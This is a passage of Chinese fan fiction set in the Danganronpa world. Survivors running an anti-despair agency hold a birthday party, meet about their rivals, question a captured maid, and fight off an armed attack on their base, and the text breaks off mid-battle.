他很清楚“小丑”的笑容有多悲伤。台上做出滑稽的动作,或许被呼啦圈砸中脚,或许被破裂的泡泡糊住眼睛,台下的观众发出浪潮般的笑声,但那不是喝彩,而是嘲笑。所以他告诉天生纯真无邪的妹妹一定要保持微笑,因为只有强迫自己永远笑着,才有在逆境中永远坚持乐观的可能性。晴彦说在逃离被困的岛时听见五月在鼓励客舱里的朋友,说活下去就永远会留存希望。于是启介知道妹妹的乐观已经刻在了小脑瓜里,他很高兴她能成为大家的“希望”。 在这被绝望祸害的世界上,希望是多么耀眼的“才能”啊。 有能让她一直笑出来、一直不失去希望的人,真是太好了…… “我跟你说哦七哥,”五月滔滔不绝地讲着,“当时我们在第三研究所被黑白熊攻击的时候,是晴彦亲一直在带着我跑哦!虽然他自己也快跑不动了,但是他一直拉着我哦!我们当时躲到了四楼,晴彦亲把门都锁上了!但是黑白熊还是打进来了!!” “我要告状,启介哥,”小桥川抱着胳膊吐苦水,“五月她那时可一直在哭,劝都劝不下来。” “哈哈……”启介苦笑,“后来呢?” “后来黑白熊呼啦啦撞开了门!”五月夸张地张开胳膊,“然后晴彦吓的叫的可大声了!然后他就被打晕了!五月还没来得及笑话他,就也被砸晕了!!” 启介:“……” “其实晴彦亲很爱哭的!”似乎是为了报被告状的仇,五月嘟起嘴叉起腰,“从飞机上下来的那时候被如月亲点了后脑勺,然后就开始哭,只是没出声!可是五月可看见了!后来知道哥哥去世了,装作没事似的,背地里哭的可难过了!!” “……五月!!!” “略略略。”五月摆个鬼脸,躲到自家哥哥身后。 “啊啊啊啊可恶!!!看我今天不抓住你!!!” “咿呀呀呀呀呀呀哥哥救命!!!” 启介无奈地笑起来。毕竟还是孩子,玩心还是大。只是…… 从此以后,或许要多当一份“哥哥”了。 请饶恕我的罪孽吧,天上的慈父。 上原近次坐在飞机上,看着云层滚滚涌动。小时候认识的第一个牧师告诉他上帝就在天上,他于是相信着云层之上便是天堂。于是他小时候一直期待着坐飞机去看看,看看天上的父、那位慈爱的老人到底是什么样子。 当然了。长大以后他学了神学以外的知识,出人意料地接受了云层之上并无上帝的理论。和教堂里那些老牧师不一样,他非常相信科学,尽管由于乡村教堂几乎用不上现代科技而与时代脱了节。 至于飞机……至少这段时间,已经非常适应了。这次……是因为恰好顺路,便和一飞机的货物一起被运上来了。 “带着我飞行麻烦你了,晴彦。” 开着飞机的某人毫不在意:“都能直呼名字了,还麻烦呢。” “……不介意我祷告吧?” “啊?为啥要介意?” “之前布道的时候你有说会听困了。” “啊……那你小点声就行。我,我一直不是很爱上课,你一念那些我就感觉语言老师进教室了似的……” “……!!我也很讨厌语言课!!” “但是近次你数学真是好得出奇。塔和市那时候如果 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他因此失联了很久。他不怎么会用手机,每人一份的无线电通信设备也没那么熟练。等到如月亲自打着手电筒和伞来找他的时候,他还在抱着孩子小小的身体,放进小小的土坑里,盖上土形成小小的坟丘。 “孩子们是在教堂外面死的。”他没理会如月递来的伞,“他们应当被基督的十字架永远庇护。” “……” 如月放下伞,瞬间被大雨浇透。 “我来帮你吧。” “……我主将祝福你。” 两人在瓢泼大雨中默不作声地将已死的孩子们逐一安葬。如月打了个喷嚏,瞥了一眼早就被雨水浸透的上原,继续闷头放下孩子。 “绝望将世界化作地狱,而无辜的孩子将回到主的怀抱。” 等待孩子们全都睡在土地中,如月早已冻得牙齿打颤,而上原不为所动。他跪在孩子们小小的、数量多的令人心碎的坟墓前,默默祷告着。 “……我们该走了。” “我会化为主的神圣之水,洗净世间的一切罪恶。” 上原近次放下合十的双手,转过头看向如月。他脸上被水沾上头发,发梢滴着水滴,一向冷静的眼神中透出无法掩饰的疲惫。在浑身湿透的年轻的神父身上,唯有金色的十字架闪闪发光。 请上帝执起我的手,指引我、带动我,用我的手在世间行你的道。 回到绝望的世界、建立了对抗绝望的机关后,很多人迅速地成长了起来。这个速度是非常不可思议的,短时间内改变固有思维、甚至价值观念,孩子们一夜成长为大人。 但是孩子终究还是孩子。 上原近次被包围在大家中间、不知所措地被推向某个看上去就很腻的食物面前时如是想到。 “嗯……请允许我发问,”他迷茫地指向那个他叫不上名字的白花花的圆柱形物,“这是要干什么?” 这一句话给热热闹闹的诸位干沉默了。 “你可别告诉我你不知道什么是生日派对。”比嘉光宏开始挠头。 “生日派对。”上原重复了一次这个词语,“哦……啊……可是我还没参加过生日派对。” 众人又一次陷入沉默。 “嗯……” 上原自知自己经常因某些方面的常识缺乏而使他人震惊,于是决定试着学习融入:“我这时候……该说些什么?” 于是大家陷入第三次沉默。 ……尽管一开始就创造了连续三次冷场的史诗级尴尬情形,但在没心没肺的伊良波五月的推动下,上原的第一次生日派对还是磕磕绊绊地进行了起来。凤叫他低下头,把彩虹色的生日帽子扣在他头上,丝毫没顾及本人的审美;五月和她的哥哥表演了拿手的杂技,宣称这是他们本职工作做的最舒服的一次;本身就喜欢闹腾的牧清香带着弟弟一起跟着闹,比嘉和友利不知从哪翻出来了灯球和音箱,拉上窗帘准备大蹦特蹦;一向不爱参与“这种无意义的活动”的铭苅一边喝着咖啡一边继续在电脑上做着报告,却丝毫没有离开的意思。 “然后呢,寿星需要来许个愿,”山口笑眯眯地把他带到蛋糕前,“闭上眼然后许愿,再睁开眼把蜡烛吹了吧。” 许愿。明明和平时祷告一样,却做的这么正式…… 算了。大家开心就好。 上原默默在心里说。 “他完没完事?”“感觉没。”“太磨叽了。”“真是很磨叽。” ……他们最好知道悄悄话是能被听见的。上原睁开眼,吹灭蜡烛,然后——— “哈哈哈哈食我奶油炮!!” “……!!!!” 声音来源太嘈杂了,分不清是谁,但毫无疑问带头的是如月和小桥川。被糊了一脸奶油的上原迅速一边分析着一边抹掉脸上黏糊糊的奶油,随即被打中第二发:“生日快乐,上原。” ……金城?! 奉主耶稣基督的名,我要隐忍、容忍他人的…… “哈哈哈哈!!他还没反应过来!!” 第三发奶油被一只手直接拍在脸上。上原忍无可忍:“小桥川 晴彦!!!!” ……拿奶油打人不是暴力。嗯,不是暴力。 上原首先抓住还摁着奶油的小桥川,回手抓起一团塞进他的衣领;如月还没跑远,他从后面赶上,把又一团奶油从后面拍到他脸上;反应最快的金城逃之夭夭,他选择远程打击,结果就是一大团抓的不成样的奶油糊糊挂在了金城打理的不错的头发上。 “这……也是……派对的……一部分吗?” “是。”牧蹦着高把奶油抹在自家弟弟头上。 “……” 孩子到底还是孩子……那么也就需要规诫了。 “……忏悔吧!!” 几个男生之间的奶油大战很快牵扯到全员,就算是一直在旁边打酱油的铭苅也因为文件被一坨奶油糊住而气愤地把它扔回给黑川;矮小的祷和山口达成了合作共识,爬到他肩头占据制高点,既避免了因身高劣势被集火又成功成为最佳输出;启介盯着小桥川扔,没有技巧全是感情;百发百中的牧每次都能精准地打到别人头上,结果就是每个人头发上都糊着奶油…… 最后上原一口蛋糕都没吃上,只有糊了满脸满身的奶油勉强能闻个味儿。 …… 到底还是孩子。 这是如月机关重建后,大家第一次开展符合年龄的聚会。 我们是在绝望的世界中,微微亮起光芒的一点点希望。但是这份希望会渐渐扩散出去,最终将世界洗净。 主啊,请借我的手,洗清世界的绝望吧。 主啊,请借我的身,为这个世界带来希望吧。 主啊,请洗刷世界的罪孽吧。 主啊,我知人生来便是罪人,生来便带有罪孽。我的双手曾无法保护我的朋友、我的孩子们,但是您是无所不能的天上的父,您赐予了我希望,您赐予了我延续下去的生命。 主啊,请……为这个世界,带来希望吧。 这是上原近次的第一个生日愿望。 3. 直面绝望篇(1) “说起来……这是如月机关重建后我们第一次聚在一起开会呢。”如月大和讪笑将一个话筒推到会议桌上,“大家都忙着各自的工作,已经小有成效了……” “我就不说什么废话了。”金城剑抱起胳膊,“按桌子顺时针方向,依次报告一下工作成果。” 两个月过去了。从那个噩梦一样的地方逃出、经历了塔和市的生死逃亡,已经过去整整两个月了。 铭苅首先拿过话筒:“对77届学生、超高校级的绝望和调查仍在进行中。目前按信号拦截情报来看,江之岛盾子似乎在希望之峰学园里筹备78届学生的自相残杀,用了和我们一样的手段,也就是记忆消除。” 凤接过话筒,拍了一拍:“凤超市现在正在恢复秩序,周边幸存居民的基本生活用品供应得到保障。此外,财政方面已经与还存在的银行沟通获得联系,我家之前攒下的钱都可以给机关用。” “我打断一下,”如月举手,“我觉着如月财阀剩下的也不少。可以报个数字吗?” 凤说出一串数字,在场的人倒抽一口冷气。 “……大意了……下一位……”如月压低帽檐,试图遮挡自己通红的脸。 “平良茜目前状况良好。”黑川说,“从她嘴里撬出的情报对我们有很大帮助。平良本人现在请求回到地面为大家工作,当然,我没同意。” 金城看了眼如月:“这一点我们之后再商讨。下一位。” “嘿咻。”牧伸手接过话筒,“对全员进行的长期射击训练正在进行,应对77届绝望残党的战斗训练也在进行中。我一定要吐槽一下,现在行动部只有这么几个人,我弟还是我自己捞过来的,上原,你这人力调动不行啊?” 上原面无表情,直到牧把话筒塞到手里才反应过来应该拿着它发言。“赞扬我主。如今我们人力极缺乏,我在努力通过各种方式筹集人员,请不要着急。另外,鉴于这次绝望事件的性质和波及范围过于严重,我已经写信给梵蒂冈天主教会,请求他们的支援……愿主祝福我们。” “就像牧说的,现在行动部太缺人了。”比嘉说,“我们即将要对抗的可是77届诶!!他们那班里有个小国的公主诶!虽然是小国,但是军事武装力量非常出名的!我们真的很欠缺能战斗的真正的武装士兵!!” “的确是这样。”波多乃补充,“根据我的调查,77届的绝望性非常混乱,包括但不限于视觉听觉洗脑、物理生理破坏。如果没记错,全国最大的□□组织的老大也在他们其中。” “九头龙?”金城皱眉。“我听说过,他们有个特级杀手,不用热兵器,用的是剑道。” “不错。”波多乃想着想着皱起眉,“那个女人的战斗力绝对是世界一流的……我无意间查到了她的战斗画面,那简直是……毫无人性。总有被砍中了还没反应过来的受害者,前一秒还在说话,下一秒身体就碎成几块……” “除了九头龙和国家级军事武装,还有什么大型势力吗?”如月在纸上记下些什么。 “大型势力只有这几个了,剩下的还有些零散的个人力量。”五月接过话筒,“启介哥哥说,流言里有几个向大众散布绝望的艺术家,还有用大型食物加工厂造成集体食物恐慌的。这些个人势力很难迅速定位,就算找到了77届的前辈名单也没那么容易找到他们。” “……好了。”金城揉了揉太阳穴,“对77届绝望的调查讨论还有人要补充吗?没有就回到机关的重建工作上。” “医疗部门方面,我们急缺设备。”祷小声说,“虽然我爸爸还活着也找到了我们,医师水平方面不必担心,但是必要的检查和手术设备还是太少了……” “回头给我列一个单子吧。”凤插嘴。 “现在各国政府都名存实亡,法律对他们几乎没用。”山口说,“我们必须做好一个心理准备:如月机关不会受法律保护,我们现在所做的一切都不会被官方承认。关于这一点……真的非常无可奈何。” “好消息是我们在民众间逐渐有了名气,”友利勾起自己的头发,“这么说来……各位的家人已经基本都找到了。虽然……抱歉,我不该提起这个话题的……” 友利及时止住了这个话题。作为一个难得的母亲还活着的成员,在一桌子家人都不剩几个了的气氛下,的确不应提到这一点…… “哎呀我说,”而如月永远是气氛的挑动者,“我们大家不就是彼此的家人吗?一同为了活下来而努力,一同为了为世界夺回希望而战斗……我们已经是一家人了吧?” “虽然不想承认,但确实是事实。”铭苅推了推眼镜,露出微笑,“至少友利不会任性地只说自己想说的话了。” “我才没有!”友利憋的脸通红。 金城哑然失笑。“嗯……是不是还有人没说啊,小桥川……啊……” 负责运输部门(此部门目前只有一个人)的小桥川趴在桌子上,睡得正香。五月比了个“嘘”的手势:“连续飞了三天,累坏啦。” “五月酱偶尔也劝劝他吧,”祷担忧地摸着衣兜,似乎想找些药物,“长期从事飞行工作,对身体和安全都不好……” “没有用哦!完全没有用!总说着还有很多工作没干,就自己跑出去了!” 波多乃吐槽:“以前以为小桥川是最不靠谱的,现在看来意外的有气概呢。” “晴彦亲一直很有男子汉气概嘛!!” “那是你对他有滤镜。” “剑,关于平良茜,你怎么看?” 散会时如月一边收拾着大家上报的资料,一边询问金城。 “如果是两个月以前,我会毫不犹豫地回答你杀掉就好了。”金城说,“但是现在……果然还是和她面对面多谈谈话比较好。” “此前一直是美佳子在和她沟通,也有过担心被绝望洗脑的忧虑。”如月挠挠头,“毕竟那位江之岛盾子,可是以绝佳的话术出名的。” “的确没有证据表明平良不会做类似的事情。”金城说,“但是如果我们不去见她,我们需要的情报也就得不到解释。” “……没错!”如月把手搭上金城的肩头,“不愧是我的好哥们!又想到一起去了!” “好哥们……听着像是什么热血漫画主角……” “喂喂,你也只是高中生的年纪啊!!!” “您来了啊,金城大人。” 平良茜披头散发地坐在地上。她的牢房像是正常的学生宿舍,床也好书桌也好应有尽有,卫生间也是全封闭式,只有正常活动的区域在玻璃下暴露无疑,而她只是坐在地上,疲惫地看着玻璃外的金城和如月。 “她手上戴着电子镣铐,一旦试图出门就会遭到电击,不用担心安全问题。”如月小声说,“就算是你也得小心她,平良的身体素质很逆天。” “您不用在意这一点,如月大人。”平良笑的很勉强,“我是不会跑出去的——我也没有理由擅自离开……不过我想问……菖蒲大人最近好吗?” 如月和金城对视一眼。如月想说什么,却被金城抢过去:“波多乃前段时间去侦查超高校级的绝望时险些遇到危险,现在虽然已经平复下来了,但是还是受了很大惊吓。” “是这样啊……”平良闭上眼,“谢谢您,金城大人……老实说,您居然没有直接向我开枪,真是令我意外呢。” “如果你想用这种话来激怒我,很不幸你失败了。”金城摊手,“我不想说什么废话,也不是为了唠家常来的。我听黑川说你请求到地面上工作,那请问你能做什么呢?” “当然是女仆的本职工作。”平良微笑着,“打扫地面,制备午茶,服务大家……说到底我也只是个会做很多家务的女仆,有需要我做的事我就会做好的……” “那你还是先在这儿待着吧。”金城抱起胳膊,“老实说……虽然我不会亲手杀了你,现在世界的法律和秩序也乱成一片,你犯下的罪行是无法被抹消的。” “可是,”平良忽然噗嗤一笑,“您觉得……我是凭着什么活下来的呢?” “……!!” “小心,她可能要说些什么了……”如月小声说。 “黑川大人提醒了我。”平良恢复了那疲惫的微笑,“我啊……我曾经是为了虚空大人活着的……虚空大人要我做什么,我就会无条件地听从……而现在,虚空大人要我活下来……我想我应该明白了……” “我大致也猜到了一些。”如月正色道,“按理说,在虚空自身天生的求生欲和天运的作用下,他怎么可能会就那样死在第三研究所?而反倒是身负重伤的平良你,平平安安地活了下来,那么可能性也只有一个了:他将天运转移给了你。” “……我想正是这样。”平良抱住自己,“黑川大人说的对……能让我受了这样的伤、流了这么多血,还能活下来,只有虚空大人的天运……虚空大人想要我活下来……” 金城闭上眼。在他看来平良那种近乎疯狂的又笑又哭的表情像是……中世纪被火烧死的魔女。他听见她发病般呢喃着“虚空大人希望我活下来”“虚空大人的愿望是我能活下来”“虚空大人愿意让我活下来”之类的疯话,最后喘着气安静了下来。 “如果天运在她身上的这个猜想是真的,”如月悄悄对金城说,“那么她的所有目的……我们都不可能有能力抵抗。” “……真的没有别的解决办法了吗?” “倒是有……”如月苦笑,“把她拉到我们的阵营里,我们的目标就会成为她的所想,随后随着天运而实现。你看,被套上了。” “……” “不过我还是想说,”如月看向卷着头发玩的平良,“平良你其实从来就没绝望过吧?虽然自称超高校级的绝望,但你之前不是一直憧憬着虚空吗?我可不认为抱有憧憬的人会绝望。” “……”平良没说话。 “或许你也曾绝望过?恐怕是美佳子来找你谈话之前的那段日子。你以为自己被虚空抛弃了,但他恰恰希望你活下去,你从来没被他抛弃过。” “……” 平良抬起头,看着玻璃外的二人,嘴角勾起微笑,正好盛住掉下的泪水。 “您说的对,我正是带着虚空大人的希望,才能活到今天——我有什么理由不活着呢?” 那之后的某天,平良茜出现在大家面前,穿着她的女仆装,安安静静地打扫着卫生。如月和金城将其解释为“改过自新”,上原则认为这是“惩罚与赎罪”。 “无论你做过什么样的事情,人世的法律都暂时无法约束你。”年轻的神父拿起胸前的十字架,“但天父将审判你的罪行。你的余生将在愧疚、忏悔与赎罪中度过,你的罪行永远无法洗清,而你必须顺应逝者最后的天运活下去———这就是神对你的惩罚,平良茜。” 宗教的价值在绝境中格外有用,金城这样想着。他是坚定的无神论者,也曾认为上原这样的神父不过是骗子———但现在他不得不承认,能得到超高校级的头衔,上原有其独特的话术和劝谏的才能。 就像黑川的“驱魔”实际是心理治疗,上原这样的神父,恐怕也是用话语使人信服的吧。 如月机关的事务一天天步入正轨。青涩的孩子们在同样青涩却勇敢的两位领导的带领下坚定了希望的信念,有条不紊地恢复着周边地区的秩序;伊良波启介、友利美奈子等亲属成年人的加入使年轻的机关有了步入社会的经验,被迫学习飞翔的雏鸟从而有了观察的对象。 奇怪的是,尽管早在来到基地第三天就收到了77届的绝望的挑战书,这几个月也不断能侦察到他们的动向,双方却从来没有发生过正面冲突——除了塔和市那场逃杀。 “就我所知,希望之峰曾经的高管、部分毕业生建立起了一个名为未来机关的机构。”铭苅扔下一份调查报告,“我可不敢保证那地方的安全,仅从目前可得到的消息来看,要多烂有多烂。” “我知道这人。”金城指着报告单上的一个名字,“超高校级的点心师,安藤流流歌,在我们入学之前好像因作弊把学校场馆炸了,做笔录的时候我在附近。是个……心眼很坏的人。” “哟,警察先生,骂不出脏话?”铭苅讥笑,“我利用了目前能调动的档案资源,那次事件和另外一个人有联系——77届的学生,超高校级的幸运,狛枝凪斗。” “……77届。”如月皱起眉,“还是幸运。” “我可不认为未来机关是个靠谱的地方。”铭苅坐回椅子上,“至少在值得信任的人身边工作,我不会担心我自己哪天被谁毒死。” “没想到铭苅也会开玩笑。” “比你个傻子警察会。” 金城叹气。不过……确实很让人在意,那个超高校级的幸运……不是和“前田勇气”一样吗…… “我认为我们有必要调动一部分力量去调查这个狛枝。”如月正色道,“我们尚且不知道他的幸运是否与天运有关,但……” “机关长大人说的不对哦。” 平良握着扫帚的身影出现在办公室门前,像是一道影子,“真正该注意的,不是狛枝。就连江之岛盾子,也不会把他放在眼里。” “你的意思是我们有更重要的目标?”如月支起下巴,“但……武力能解决的问题,或许都不能称为问题;洗脑之类的才能,我们也有应对方法……” “我是说神座出流。” 如月、金城与铭苅一同抬起头。 “那个……被江之岛盾子洗脑、利用,引发了希望之峰最大最恶事件的人,超高校级的希望,神座出流。” “……” 长发的男人独自站在天台上,默默数着秒数。 马上就要开始了。 “大和君!!大和君!!!” 正在思考平良的话的如月被黑川的声音打断:“美佳子?怎么了?发生什么事了?” 黑川拿着手机冲到会议桌前,调取出一个画面:“现在……友利说全球都在同步直播,这是希望之峰学园的内部……你们快看……” 金城和铭苅也凑过去,顿时睁大眼睛。 门口的平良不为所动,只是轻轻叹息着。 “到底是要开始了,绝望的高中生在希望的校园里的自相残杀。” “所有,我是说,所有,”小桥川上气不接下气地摘下护目镜,“所有无线电广播频道、城市广场屏幕,全都在直播,这下飞机是没法开了———根本没法在空中与地面进行交流。” “家庭电视机也全都在强制直播。”凤皱着眉咬紧牙,“就连商场里的商品电视都被连上了。” “现在打开手机,只要不是打电话,都是这场面的直播。”牧不耐烦地说,“真没想到……我们经历过一次的事情,真的重演了。” “因为原本针对各位大人进行的自相残杀就是为了78届前辈进行的。”平良淡淡地说,““虚空大人想要以各位大人自相残杀的经历为江之岛盾子提供实施方式,但看起来虚空大人只是一厢情愿呢。” 尽管有如月、金城乃至上原的警告不许对平良施加暴力行为,眼神里带的刀子还是不免剜了她几刀。 “78届……”如月皱着眉头,“但愿他们能好好活下来……最好……不要发生杀人事件……” 不要把大家好不容易获取到一点的希望,扼杀在摇篮里…… “已经开始了啊。江之岛盾子。” 长发的男人独自站在天台上,默默闭上眼睛。 “就让我看看吧……你的绝望和她的希望相比,哪个会更加有趣。” 神座出流攥紧手中的像素小发卡,从天台顶跃下。他不担心自己的安危,他知道或许会有黑白熊接住他。或许会挂在某棵树上,或许会砸在哪个行人头上,又或许会凭着自己的力量稳稳站住? 反正哪种结果都很无聊。 第一个死者出现了。她被刺杀在浴室里,肚子上插了一把菜刀,血流得满地都是。 “……平良茜,我问你,”铭苅最先打破沉默,“如果我们按照你们的原计划进行自相残杀,是不是也会造成这样的后果?” “何止呢。”平良卷着自己的头发,“看来是时间太长,铭苅大人已经忘记了……出现了杀人事件后大家需要通过学级裁判找到凶手,找对了的话,凶手会被原地处刑,而错误的话……” “除了凶手,所有人都会被处刑。”如月支着下巴说,“他们现在应该是在搜查证据,寻找凶手。” “还真是恶趣味的绝望。”金城踢开椅子,让自己离开桌子。“完全联系不上内部,希望之峰现在是名副其实的与世隔绝,想救援也毫无办法。” “而且他们是自己把自己困在了学校里。”黑川说,“因此就算他们像我们一样,试图寻找幕后黑手,也很难找到实质有用的真实证据。他们会下意识认为是他人绑架了他们吧。” “虽然我自知并没有什么资格说这句话,但是我还是要提醒一下各位大人。”平良勉强地微笑着说,“出逃那天,我们被黑白熊叫去,说是要发布动机对吧……如果各位在失忆的情况下突然得知世界已经变成如此绝望的地步,恐怕也会得出杀人的想法哦?” “所以它被叫做动机。杀人动机。”上原说。 众人陷入沉默,并转头看向会议室的屏幕———希望之峰78届学生的学级裁判快要开始了。 虽然没人说出来,但所有人都在思考同一件事:如果那场未遂的自相残杀没能被暂停,如今和和睦睦的诸位,是否会因陷入绝望的私欲而杀人? “准备好了就开始吧,佩子。” 在如月机关基地没多远的、曾是城市建筑的某处,九头龙冬彦点燃了一根烟。他并不抽烟,只是很愿意借此树威。他没能长高,娃娃脸很难产生威严感———但符合□□的行为会从外貌上震慑住敌人。 边古山佩子向后瞟了一眼,而后点点头:“已经准备好了,少主,这就开始进攻。” “喂喂佩子,特意把我叫来,总得告诉我什么时候上场吧?”终里赤音抠抠头发,“我手都痒痒了。” “你跟着我就好。”边古山握住刀柄。“进攻!!!!” “警报!!!袭击!!!” 友利美奈子的声音突然响彻如月机关,“绊!!快调一下地图!!!” “是77届的绝望,有两人正在奔向正门,”波多乃努力让自己冷静下来,“热兵器武装部队在西南侧的山坡上,初步判断……是九头龙。” 到底是迎来了正面冲突。金城拉开抽屉,拿出里面最趁手的手枪,别在腰间:“铭苅,指挥权转交给你了,随时报告战情;牧,带着龙太郎去楼顶,寻找狙击制高点;比嘉、山口,带着可调动兵力去西南方向建筑外侧空地,尽可能反击,保护好自己!” “上原和美佳子保护好没有战斗能力的人,”如月身上挂了三把步枪,拎着机关枪和弹夹奔向一楼,“小桥川去楼顶,新买的轰炸机刚到;祷!和安藤先生做好救治准备!平良……” 如月意识到平良一直跟在自己身后,神情复杂地看了她一眼,而后重重地叹了一口气。 “保护好自己。” 平良身上只别着一把匕首和一把小手枪,她似乎对自己很有信心。 “别紧张,大和。”金城挂上两把步枪,在脚踝绑上一把短刀,“这种场景……我见过很多次了,只是恐怖分子而已……” “不用安慰我,”如月笑着架好机关枪,“我一点都没紧张。” 基地内部一时陷入寂静,唯有呼吸和心跳的声音在胸腔剧烈地响着。金城握起手枪抬到脸侧,站在唯一可用于隐蔽的墙后;如月倚坐在地上,后面跟着一言不发的平良。 “所有人,”铭苅的声音从对讲机中传来,“报告就位情况。” “牧龙太郎报告,狙击手观察员已就位,随时准备更改狙击点。” “山口报告,西南门迎敌点已就位,我们在之前修筑的防御战壕里。” “金城报告,和如月、平良在正门门口,等待应对两个绝望分子正面进攻。” “上原报告,无任务人员已全员躲避至地下一层避难处。” “医疗部已就位,随时可以急救。” ……是不是还少一个人? 如月摇摇头:“小桥川联系不上,现在雷达不好使,对讲机还是我改造了……” “五月报告,轰炸机已起飞,隐蔽系统已启动!” “伊良波?!” 如月和对讲机另一侧的铭苅几乎要叫出来,“你跟着上飞机干嘛?!” “是五月自己要求的!” 启介的声音从对讲机中炸开:“五月!!听话,下来!!” “……机舱里有需要二人合作的操作,真的抱歉了,启介哥,”这次是稍微有些遥远的小桥川的声音,“而且……我也没拦住啊!!!说着要带着通讯设备就跟上来了!!!!” “……五月要是受一点伤,你就死定了。” “观察手,开始报告。” 牧龙太郎举起望远镜,熟练地拿着纸笔开始计算:“无风,八点钟方向,距离1035米,两个秃头打炮的。” “收到。” 牧清香扣动扳机。 “目标消灭。下一个,八点钟方向,偏东方14度,距离约1027,一个火箭筒。” “收到。” “目标消灭,位置暴露,更换狙击口。”龙太郎一把扯住姐姐的领子,一颗子弹应声从窗口打进来,在二人身后的墙上炸响。 “反应不错,龙太郎。”清香想搓搓弟弟的头发,被龙太郎躲了过去:“快点换狙击点吧。” 一声枪响,龙太郎连忙摁住清香扑在地上。那颗子弹穿过狙击口,狠狠地打在墙上。 “很好,意识也很到位。”清香呲牙笑着说。 “我的老姐啊,刚刚这可是要人命的啊!!” “没事,”清香边跑边打着龙太郎的肩头,“我相信我老弟不会让我有危险哒!” “……趴下!!” 震耳欲聋的爆炸声猛地在耳边响起,虽然如月再三保证基地外部墙体十分结实,但这保证不了外部被冲击时内部廊道上掉不了墙皮,附近的窗玻璃也逃不过一劫。 “妈的,至于吗,直接拿坦克轰……”清香咒骂着试图从地上爬起来,抬起头时却看见血从眼前滴落。 “……龙太郎!!” “只是划到脸了,没什么大事,姐。”龙太郎捂住有右脸上的伤口,“快去下一个狙击点吧。” ……死小子。 “开始加速了,不舒服一定要立刻告诉我。”小桥川推下油门,轰炸机飞向基地西南端,“我们的目标不是攻击,这个距离轰击地面咱自己的基地也得遭殃……你明白我的意思吗?” “我们是诱饵。”五月点点头。 “……所以我才叫你别跟上来,你这个笨蛋。”他伸手轻轻打了一下五月的脑门,“这可不是闹着玩的……引擎一旦被击中,那可就是机毁人亡。” “五月不害怕。” “……都说了不是害不害怕的问题啊!!”小桥川低头操控着什么,轻轻叹了口气,“牧姐好像把那个对空火箭筒端了……暂时没什么危险,除非他们上导弹。” “呼!!”五月高兴地举起双手,“那我们的任务……那是什么?” “……调整呼吸,闭上眼。” 五月听话地闭上眼,心跳却怎么也平复不下来。紧接着天旋地转,像是在天空中打了个滚。听见睁眼的指令时那个直冲轰炸机袭来的小东西已经消失得无影无踪,五月迷惑地看向晴彦。 “地对空防空导弹,没想到他们直接上这招。”护目镜下的脸上滴下一滴汗,“这可是最先进的轰炸机,按理说是雷达隐蔽的……” “我能做什么?” “……” 这时候说什么“保护自己”“别添乱”什么的话,会被启介哥揍死的。真是个笨蛋……偷偷摸摸学了那么多空对地武器操控,还装作若无其事的样子,说着要帮忙就跑上飞机,执着得像个笨蛋…… 但是正是这一点……明明并不聪明,还在努力露出笑容;明明根本不擅长辅助飞行,还在拼命学习;明明我一个人也能做到,非要来帮忙…… 太可爱了。 小桥川空出一只手捂住脸。这时候绝对不能流鼻血,高空作业流血会出大事……但是…… 不行,不能想了。 “五月你来观测对方机型,并实时报告地面情况;我会做几次机动躲避对方的导弹然后反击,机动对身体负荷很大,有不舒服立刻告诉我。 “好的!!” “还没来?”如月探出脑袋。 “你还盼着他们来?”金城一动不动。“铭苅,能看清来者吗?” “两个女的,一个手里拿着两把刀,应该是剑道家边古山佩子。”铭苅的声音在此时显得非常冷静可靠,“另一个从体态能看出来,体操选手终里赤音。” 金城和如月对视一眼。果然,有九头龙在的地方就有边古山,机关枪扛来太对了。平良依然一言不发,握着匕首做好起跑姿势。 “……来了!!!” 大门玻璃发出爆裂的声音,继而在三人面前裂成碎片。边古山佩子收回捅碎了玻璃的刀,向两边一敲打,门框上的玻璃哗啦哗啦全掉了下来。 “……我的钢化玻璃啊……”如月在心里哀嚎。 “一刀能捅穿钢化玻璃,且玻璃门前……那可是特种钢啊……”金城思索着,手指抚上板机,“不好对付。” 闯入大门的边古山一步一缓,探查着周围慢慢前进;离她不远的地方,如月三人早已摆好架势。现在……就等着谁先发起进攻…… 金城猛地止住呼吸。 等等,不是两个人吗? 耳边一声轻笑回应了他的疑惑:“老鼠在这里。” 糟了。在身后。现在开枪来得及吗,可能来不及,但要先开上一枪;然后把她带到深处,不能给如月的机关枪添乱,他要着重对付那个刀女;那之后,那之后再…… 一记手刀劈向他的后颈。金城两眼一黑,随即举起手枪。 “剑!!!” 如月一时忘记隐蔽,箭步冲上去要接住几近跌倒的金城;发现目标的边古山迅速拔出刀冲上来;金城吊着一口气,扣动了扳机。 “砰!!!” “……我……没什么大事。”金城捂着吃痛的脖子稳住重心,却没得到如月的回应。又一拳从耳畔袭来,他下意识抓住那只力气奇打的手腕。 也就是在这一刻他才意识到几人已经以不可思议的速度扭打在一起。 他开枪后击中了袭击者的右肩,后者全然不顾疼痛,向他挥出第二拳;不知何时冲上前来的持刀女砍向支柱金城的如月,一只匕首挡住了她的刀锋。 金城很快捋清了那只保护了如月的匕首并不来自他本人,而是面无表情的平良。传闻中能将人体如飞雪斩断的剑道家皱起眉摁下刀锋,继而被小小匕首弹了回去:“……呵?” 来不及多想,金城顺势用力拉过身后人的胳膊,空出的手肘拼命下压,将她掀起到半空而后狠狠摔在地上。得以逃脱的如月连滚带爬地奔向他的机关枪,平良则跟住向后跳去的边古山,挡在如月身前。 “准备开枪,如月大人。” “诶?!”这人在说什么,现在枪口对准的可是……不对,她在相信天运,“好……你保重。” “不来自报家门吗,后辈?”边古山反手别过刀,眯起眼睛,“我还挺想知道我杀的人是谁呢。” “79届超高校级的女仆,平良茜。”平良调整好重心,“仅此而已。” “女仆……”边古山闭上眼睛,“呵呵……” 她像是想起了什么,甚至露出了笑容。“我也认识一名女仆呢……她比你的速度快多了。” 平良跃起戳下的第一刀没能砍中她,但成功地将她推到了机关枪口前。枪声猛然响起,夹杂着金属与金属碰撞的声音,却不见丝毫血沫飞出。 她在用刀砍断子弹。平良皱起眉,掏出手枪在其背后砰砰打响两枪;而对方丝毫不在意,转身挥刀砍断子弹——以及平良的一撮头发。 最后一刀砍向了机关枪。枪管随着爆裂声断成两截,如月看见闪着寒光的刀刃在自己面前划过。 站起来,站起来啊。站起来啊,如月大和。 站起来啊,为什么会坐在地上,为什么连动都动不了了,为什么不站起来…… “如月大和!!!” 金城努力牵制着一身蛮力的终里,枪已经被打掉了,腿上的刀够不着,现在只能拼近体互搏———这女的怎么这么有力气,根本扭不动她,自幼学习的格斗术在她面前像是一团面团毫无作用———如月你这该死的,快跑啊,她的刀马上就要…… 